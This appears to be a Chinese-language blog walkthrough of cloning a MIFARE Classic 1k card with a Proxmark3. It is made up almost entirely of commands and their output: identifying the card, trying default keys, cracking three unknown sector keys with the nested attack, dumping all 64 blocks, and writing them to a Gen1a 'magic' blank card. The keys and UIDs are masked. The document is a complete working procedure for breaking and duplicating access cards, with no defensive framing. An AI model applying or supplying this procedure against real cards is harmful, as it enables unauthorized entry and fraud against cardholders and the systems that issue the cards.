系统环境：macOS Mojave version 10.14.2
环境弄好了，固件也更新，来复制个卡试试。
1. 识别一下卡的类型
proxmark3> lf search
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
No Data Found! - maybe not an LF tag?
proxmark3> hf search
UID : aa aa aa aa
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
2. 识别出是一张 NXP MIFARE CLASSIC 1k，先测试一下默认密码能不能解密。
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 1a2b3c4d5e6f
chk default key[ 6] 123456789abc
chk default key[ 7] 010203040506
chk default key[ 8] 123456abcdef
chk default key[ 9] abcdef123456
chk default key[10] 4d3a99c351dd
chk default key[11] 1a982c7e459a
chk default key[12] d3f7d3f7d3f7
chk default key[13] 714c5c886e97
chk default key[14] 587ee5f9350f
chk default key[15] a0478cc39091
chk default key[16] 533cb6c723f6
chk default key[17] 8fd0a4f256e9
To cancel this operation press the button on the proxmark...
--o
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 0 | ffffffffffff | 0 |
|002| ffffffffffff | 0 | ffffffffffff | 0 |
|003| ffffffffffff | 0 | ffffffffffff | 0 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Found keys have been transferred to the emulator memory
3. 001 002 003 数据块密码不对，再破解一下这三块的密码。
proxmark3> hf mf nested 1 0 A ffffffffffff d
--nested. sectors:16, block no: 0, key type:A, eml:n, dmp=y checktimeout=471 us
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=12 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=12 trgkey=1
Found valid key:kkkkkckkkkkk
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=1
-----------------------------------------------
uid: aaaaaaaa trgbl=8 trgkey=0
Found valid key:kkkkkdkkkkkk
-----------------------------------------------
uid: aaaaaaaa trgbl=4 trgkey=0
Found valid key:kkkkkekkkkkk
-----------------------------------------------
Nested statistic:
Iterations count: 14
Time in nested: 9.312 (0.665 sec per key)
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| kkkkkekkkkkk | 1 | kkkkkekkkkkk | 1 |
|002| kkkkkdkkkkkk | 1 | kkkkkdkkkkkk | 1 |
|003| kkkkkckkkkkk | 1 | kkkkkckkkkkk | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
...
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
4. OK，找到001 002 003 数据块的密码，然后导出卡的数据（dumpdata.bin）。
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
...
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
5. 准备一张空白卡，先识别一下类型，看看和原卡是不是一样。
proxmark3> hf search
UID : bb bb bb bb
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Chinese magic backdoor commands (GEN 1a) detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
6. 把旧卡的数据导入到空白卡里。
proxmark3> hf mf restore
Restoring dumpdata.bin to card
Writing to block 0: aa aa aa aa xx 08 04 00 62 63 64 65 66 67 68 69
#db# WRITE BLOCK FINISHED
isOk:00
Writing to block 1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
#db# WRITE BLOCK FINISHED
isOk:01
...
Writing to block 63: ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff
#db# WRITE BLOCK FINISHED
isOk:01
总结
- 识别需要复制的卡类型
- 默认密码测试
- 未知密码破解
- 导出原卡数据
- 准备同类型空白卡
- 写入原卡数据
参考链接：
Proxmark3 commands
